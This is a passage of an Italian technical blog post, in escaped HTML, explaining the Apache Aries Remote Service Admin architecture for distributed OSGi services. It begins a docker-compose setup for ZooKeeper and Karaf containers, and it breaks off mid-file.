    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:56.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;227\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20227\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M6%2015l-1%203%201%201c1-1%203%200%203%201h2c2-2%203-1%202%203v4h4l5-1h1l6%201c4%200%205%200%205-2s-1-2-2-2c-1%201-2%200-2-1h-3l-4%201-4%201-2-1-2-4h13c11%200%2012%200%2012-2l-4-1-4-1h-5l-3%202h-1v-2H12l-2%201H9c-1-2-3-3-3-1m55%208c0%203%204%205%204%201l1%201%201%202v-2c0-2%200-2%201-1%201%203%203%204%204%203l4-1%204-1%201-2%201%201c0%201%202%202%205%202%205%200%205%200%205-3s0-3-1-2H63l-1-1-1%203m49-2l-1%203c0%202%200%202%204%202l4%201h2c1-1%203-2%205-1l4-2h1c0%201%201%202%205%202%205%200%205%200%205-3s0-3-1-2l-6%201a300%20300%200%2000-19-1h-3m122%204c-1%201-2%202-4%201l-2%201-2%202v-2l1-1c1-1%201-1-1-1-3%200-4%203-2%205%202%201%205%201%205-1h1l3%201%203%201h3l2-1c1%201%207%200%207-1h1c1%202%204%202%204-1%201-2-1-4-2-2-1%201-4%201-5-1h-1c0%202-8%202-9%200h-2M87%2029v3c-1%203%200%203%204%203%203%200%205-1%205-2%200-2%202-1%202%201h3l1-1c0%201%201%202%206%202%206%200%207%200%206-3%200-1-1-2-6-2h-7l-2%201H89v-2h-2M32%2046v17h-3c-5%200-5%202%200%2010%203%205%203%206%203%2012v7h-6c-6%200-6%200-9-3-3-4-3-4-7%203-4%206-4%209%201%209h2v30c0%2048%201%2071%203%2073l40%201h39v5l1%206h98v-11h15c4%200%205%201%205%204%200%205%202%206%201%201%200-6-2-7-12-7l-9%201v-21h7l7-1h-14v-11h-27v-14l1-15%202-4%203-5c3-3%200-4-7-5-8%200-10%201-7%205l3%205%202%204%201%2014v15l-22-1-23-1%201-12c0-13%200-13%202-13h4c2-2%202-2-1-7l-4-6-1-14v-12h47v5l-1%206c-2%200-3%203-1%203%201%200%203-4%203-9v-6h25V94l24-1h25v3c0%206%202%206%2011%200l5-3h23l-13-1-12-1-2-1-5-3c-5-3-7-2-7%202v3h-49V72h23l23-1-23-1h-24v-5l1-5H94l49%201h49v42H96V70H82l-15%201c-1%201-1%201%202%201h26l-1%2010v10H33v-7l1-8%201-1c0-4%203-5%2016-4l14-1c1-1-3-1-13-1-8%200-14%200-13-1%202-1%201-5-2-6-4%200-4-1-3-12%200-9%200-10%202-10%202-1%202-1%200-1-3%200-3%200-4%206m214%2020l-4%205%2010%208c2%201%204-2%204-5v-3h13l13-1h-26v-3c-1-5-4-5-10-1M21%2094c2%203%201%206-3%207h-3v51l1%2051h79v-20H73a5591%205591%200%2000-40-1l-1-45V93h-6c-5%200-6%200-5%201m12%2043l1%2044h61v-11h24v-12c1-13%201-14-2-14-5%200-5-2-1-9l4-6-1-12-1-12-12-1H94V94H83l-31-1H33v44m293-33h25v23l-5%201c-24%205-19%2036%205%2036%205%200%2015-3%2014-5l-5%202c-14%206-31-4-29-17%202-9%209-14%2020-15%2014-1%2024%2012%2017%2024-2%204-1%205%202%201%202-4%203-13%200-17-2-4-10-9-15-10h-3v-23h21l-25-1c-26%200-35%201-22%201M43%20131c0%202%200%203%203%203l4-1h1c0%202%204%201%204-1h1c0%202%2012%203%2012%200%201-1-1-2-4-2l-17-1c-2-2-4-1-4%202m150-2l-1%203c0%202%2010%203%2010%200h1c0%202%208%203%208%201h1c0%202%206%201%206-1s-3-3-6-2-16%200-16-1h-3M67%20140l1%203h8c8%200%209%200%209-2h1c1%202%207%203%207%201l1-2-1-1H77l-4-1-1-1-1%203-1%202-1-3-1-2-1%203m178%2021c-5%202-9%205-10%208%200%202-1%202-10%202h-10l10%201c10%200%2010%200%2011%203%205%2012%2039%209%2039-4%200-8-18-14-30-10m0%202c-11%204-11%2014%200%2017%2013%204%2028-1%2028-9%200-7-15-12-28-8M96%20193v21h31a15759%2015759%200%200164%200l1-21%201-21H96v21m152%2011c-5%202-11%207-11%209l-11%201c-6%200-8%200-4%201%2010%200%2015%201%2015%202%200%202%204%206%209%208%2010%204%2026%201%2030-7%204-9-14-18-28-14m-1%203c-9%202-11%209-6%2013%208%207%2024%207%2031%200%2010-9-8-19-25-13\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/1b8af98e91b71e930b0b06108c560509/c85cb/diagram-architettura-apache-aries-rsa.webp 300w,/static/1b8af98e91b71e930b0b06108c560509/e88ff/diagram-architettura-apache-aries-rsa.webp 600w,/static/1b8af98e91b71e930b0b06108c560509/92f8c/diagram-architettura-apache-aries-rsa.webp 1200w,/static/1b8af98e91b71e930b0b06108c560509/62ed8/diagram-architettura-apache-aries-rsa.webp 1800w,/static/1b8af98e91b71e930b0b06108c560509/053bd/diagram-architettura-apache-aries-rsa.webp 2204w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/1b8af98e91b71e930b0b06108c560509/5a46d/diagram-architettura-apache-aries-rsa.png 300w,/static/1b8af98e91b71e930b0b06108c560509/0a47e/diagram-architettura-apache-aries-rsa.png 600w,/static/1b8af98e91b71e930b0b06108c560509/c1b63/diagram-architettura-apache-aries-rsa.png 1200w,/static/1b8af98e91b71e930b0b06108c560509/d61c2/diagram-architettura-apache-aries-rsa.png 1800w,/static/1b8af98e91b71e930b0b06108c560509/9ac09/diagram-architettura-apache-aries-rsa.png 2204w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 6 - Architettura di Apache Aries Remote Service Admin (RSA)&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/1b8af98e91b71e930b0b06108c560509/c1b63/diagram-architettura-apache-aries-rsa.png&quot; title=&quot;Figura 6 - Architettura di Apache Aries Remote Service Admin (RSA)&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 6 - Architettura di Apache Aries Remote Service Admin (RSA)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Il &lt;strong&gt;Topology Manager&lt;/strong&gt; per impostazione predefinita espone tutti i servizi
locali che sono opportunamente contrassegnati per l&amp;#x27;esportazione e importa tutti
i servizi interessati con gli endpoint remoti corrispondenti. Il Topology
Manager può anche aggiungere proprietà con lo scopo di modificare il modo in cui
i servizi sono esposti. Per i servizi da esporre chiama il &lt;strong&gt;Remote Service
Admin&lt;/strong&gt;, poi quest&amp;#x27;ultimo esegue l&amp;#x27;esportazione effettiva, successivamente
notifica agli &lt;strong&gt;endpoint listener&lt;/strong&gt; il nuovo endpoint. Il Topology Manager
ascolta le richieste di servizio da parte dei &lt;strong&gt;consumer&lt;/strong&gt; e crea gli endpoint
listener.&lt;/p&gt;&lt;p&gt;Il Topology Manager è il posto migliore per implementare le regole di governance
al livello di sistema. Alcuni esempi di cosa si può fare:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;proteggere gli endpoint remoti con SSL/TLS, servizi di autenticazione e
audit;&lt;/li&gt;&lt;li&gt;esportazione dei servizi OSGi con annotazioni per
&lt;a href=&quot;https://it.wikipedia.org/wiki/JAX-WS&quot;&gt;JAX-WS&lt;/a&gt; e
&lt;a href=&quot;https://en.wikipedia.org/wiki/Jakarta_RESTful_Web_Services&quot;&gt;JAX-RS&lt;/a&gt; anche se
non appositamente contrassegnati per l&amp;#x27;esportazione.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Per il ruolo del Topology Manager, questo non implementa direttamente queste
caratteristiche ma crea tutte le chiamate necessarie a un Remote Service Admin.&lt;/p&gt;&lt;p&gt;Il &lt;strong&gt;Remote Service Admin&lt;/strong&gt; viene chiamato dal Topology Manager per esporre i
servizi locali come endpoint remoti e creare servizi proxy locali come client
per endpoint remoti. Apache RSA ha un &lt;strong&gt;SPI&lt;/strong&gt; (Service Provider Interface), il
&lt;strong&gt;Distribution Provider&lt;/strong&gt; che consente di creare facilmente nuovi meccanismi di
trasporto e di serializzazione affinché i servizi OSGi siano disponibili al di
fuori del container. Il diagramma a seguire mostra appunto il ruolo del
Distribution Provider.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:900px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/3ceb7ab3ce3622c1f7db50fa9bde2f16/1cfc2/remote-services-spec.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:53.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;213\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20213\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M9%2026v66l1%2065h139V64h3l4%201%201%201v-1l-1-4c0-2%200-2-1-1%200%201-1%202-3%202h-3V26l-70-1-70%201m208%2018v18h-6c-4%200-6%200-7-2-4-4-11%200-8%205%201%202%207%203%208%201%200-2%202-2%207-2h6v92h139V26H217v18M11%2092v64h137V64h-14v9h-23v7c0%203%200%206%201%205%200-2%200-2%201-1h2l5-2c2%200%203%200%202%201l-1%201h4c0%202%200%202-7%202-3%200-3%201-3%203%200%204-1%206-4%206-5%200-7-6-3-8l1-7v-6l-10-1H88v-4c0-4%200-4-2-4-3%201-3%201-3-1%200-3%200-3%203-2%202%201%202%201%202-4v-6h46v10h14V27H11v65m207-48v18h14v-9h46v5c0%205%200%205%203%204%202%200%202%200%202%202%200%203%200%203-2%202-3-2-3-1-3%204v4h-22v7c0%205%200%207%202%207l1%202h-1l-4-1c-1%200-2%200-1-1l1-7v-7h-21l-1-5v-5h-14v17l1%2016h5l2-1c2%200%202%201%201%202v1l-3%202v-1h-5l-1%2027v28h137V27H218v17M15%2047l-1%2017c0%2014%200%2017%202%2017l23%201h22v-9l1-9v-1l-1-7c0-11%201-10-24-10l-22%201m291%2018l1%2017h24l22%201V66l-1-17c0-2-3-2-23-2h-23v18M16%2064v16h42V48H16v16m292%200v16h42V48h-42v16M89%2063v9h44V53H89v10m144%200l1%2010h43V54h-44v9M23%2061c0%202%200%202%2012%201%2016%200%2016%200%2016-2l-3-1h-4l-10-1c-11%200-11%200-11%203m292%200c0%202%200%202%2012%201%2016%200%2016%200%2016-2l-3-1h-4l-10-1c-11%200-11%200-11%203m-63%2032l-2%203-1%202c-1-1-2%201-1%202h1c1-2%201-2%203%200%202%201%202%203%202%208v7h-22v18l1%2017h24l22%201v-17l-1-17c0-2-2-2-11-2h-11v-7l1-8c3-1%203-7%200-8-2-1-2-1-5%201m-143%2013v8H87v17c0%2017%200%2017%202%2017l24%201h22v-16c0-11-1-17-2-18l-12-1h-10v-8l-1-7-1%207m-20%2025v16h43v-32H89v16m144%201v16h43v-32h-43v16\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/3ceb7ab3ce3622c1f7db50fa9bde2f16/c85cb/remote-services-spec.webp 300w,/static/3ceb7ab3ce3622c1f7db50fa9bde2f16/e88ff/remote-services-spec.webp 600w,/static/3ceb7ab3ce3622c1f7db50fa9bde2f16/131f1/remote-services-spec.webp 900w&quot; sizes=&quot;(max-width: 900px) 100vw, 900px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/3ceb7ab3ce3622c1f7db50fa9bde2f16/5a46d/remote-services-spec.png 300w,/static/3ceb7ab3ce3622c1f7db50fa9bde2f16/0a47e/remote-services-spec.png 600w,/static/3ceb7ab3ce3622c1f7db50fa9bde2f16/1cfc2/remote-services-spec.png 900w&quot; sizes=&quot;(max-width: 900px) 100vw, 900px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 7 - Ruolo del Distribution Provider&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/3ceb7ab3ce3622c1f7db50fa9bde2f16/1cfc2/remote-services-spec.png&quot; title=&quot;Figura 7 - Ruolo del Distribution Provider&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 7 - Ruolo del Distribution Provider&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Gli attuali provider supportati da Apache Aries sono:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Apache CXF Distributed OSGi&lt;ul&gt;&lt;li&gt;utilizza Apache CXF per il trasporto;&lt;/li&gt;&lt;li&gt;gli endpoint di servizio possono essere consumati anche da software != da
Java grazie al supporto degli standard JAX-WS e JAX-WS.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;TCP&lt;ul&gt;&lt;li&gt;serializzazione Java su TCP (una porta per servizio);&lt;/li&gt;&lt;li&gt;pochissime dipendenze;&lt;/li&gt;&lt;li&gt;semplice per implementare il proprio meccanismo di trasporto.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;Fastbin&lt;ul&gt;&lt;li&gt;serializzazione Java
&lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Protocol_Buffers&quot;&gt;Protocol Buffers&lt;/a&gt;&lt;/strong&gt; (o
Protobuf) ottimizzata su TCP tramite
&lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Non-blocking_I/O_(Java)&quot;&gt;NIO&lt;/a&gt;&lt;/strong&gt;
(Non-blocking I/O);&lt;/li&gt;&lt;li&gt;multiplexing su un&amp;#x27;unica porta;&lt;/li&gt;&lt;li&gt;gestisce in modo trasparente InputStreams e OutStreams nei servizi remoti;&lt;/li&gt;&lt;li&gt;chiamate sincrone e asincrone supportate.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Il &lt;strong&gt;Discovery&lt;/strong&gt; utilizza gli endpoint listener per ascoltare gli endpoint
locali e li pubblica per gli altri container OSGi. Ascolta anche gli endpoint
remoti e notifica agli endpoint listener la loro presenza. Le attuali
implementazioni supportate da Apache RSA sono:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Local Discovery mediante l&amp;#x27;uso di descrittori XML;&lt;/li&gt;&lt;li&gt;Discovery basato di &lt;strong&gt;&lt;a href=&quot;https://zookeeper.apache.org/&quot;&gt;Apache Zookeeper&lt;/a&gt;&lt;/strong&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Per l&amp;#x27;implementazione del nostro scenario (mostrato in Figura 4) utilizzeremo il
Distribution Provider TCP e Apache ZooKeeper per il Discovery. Ci siamo!&lt;/p&gt;&lt;h2 id=&quot;5-implementazione-dello-scenario-µservices-remoti&quot;&gt;5. Implementazione dello scenario µServices Remoti&lt;/h2&gt;&lt;p&gt;Mi rendo conto che per alcuni di voi arrivare fino a qui sia stata dura, ma ci
siamo, è arrivata la parte davvero molto ma molto pratica.&lt;/p&gt;&lt;p&gt;Dallo schema mostrato in Figura 4 qualcuno di voi avrà immaginato lo scenario di
deployment, ebbene si: container &lt;a href=&quot;https://www.docker.com/&quot;&gt;Docker&lt;/a&gt; e
&lt;a href=&quot;https://it.wikipedia.org/wiki/Single-board_computer&quot;&gt;SBC&lt;/a&gt; (Single Board
Computer) &lt;a href=&quot;https://www.raspberrypi.org/&quot;&gt;Raspberry Pi&lt;/a&gt;.&lt;/p&gt;&lt;h3 id=&quot;51-configurazione-ambiente-di-deployment&quot;&gt;5.1 Configurazione ambiente di deployment&lt;/h3&gt;&lt;p&gt;Al fine di favorire tutti voi per replicare lo scenario di Figura 4, non c&amp;#x27;è
niente di meglio che mettere su i servizi necessari utilizzando
&lt;strong&gt;&lt;a href=&quot;https://docs.docker.com/compose/&quot;&gt;docker compose&lt;/a&gt;&lt;/strong&gt;. Tramite il docker
compose andremo a configurare i seguenti servizi.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Due servizi Apache Karaf (versione 4.2.7)&lt;/li&gt;&lt;li&gt;Un servizio Liferay Portal Community Edition (versione 7.3 GA4)&lt;/li&gt;&lt;li&gt;Un servizio Apache ZooKeeper (versione 3.6.1)&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;A seguire è mostrato il contenuto del file docker-compose.yaml al cui interno
sono definiti i dettagli di configurazione dei servizi di cui sopra. Tutte le
immagini dei servizi definiti, sono disponibili sugli account ufficiali Docker
Hub dei rispettivi proprietari.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;yaml&quot; data-index=&quot;4&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Docker Compose file for OSGi µServices demo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;3.3&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;services&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;zookeeper-instance&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;zookeeper:3.6.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;restart&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;always&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;hostname&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;zookeeper-instance&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;ports&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;2181:2181&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;9080:8080&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;healthcheck&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;          &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;CMD-SHELL&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;          &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;wget http://zookeeper-instance:8080/commands &amp;amp;&amp;amp; echo &amp;#x27;OK&amp;#x27;&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;interval&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;5s&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;timeout&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;2s&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;retries&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;karaf-instance-1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;apache/karaf:4.2.7&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;sh&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;-c&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;cp /opt/apache-karaf/deploy/*.cfg /opt/apache-karaf/etc/; karaf run&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk8&quot;&gt;        clean&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;volumes&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;./karaf-instance-1/deploy:/opt/apache-karaf/deploy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;ports&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;8101-8105:8101&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;depends_on&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      - &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;zookeeper-instance&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;karaf-instance-2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;apache/karaf:4.2.7&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;sh&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;-c&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;cp /opt/apache-karaf/deploy/*.cfg /opt/apache-karaf/etc/; karaf run&lt;/span&gt;&lt;/span&gt;
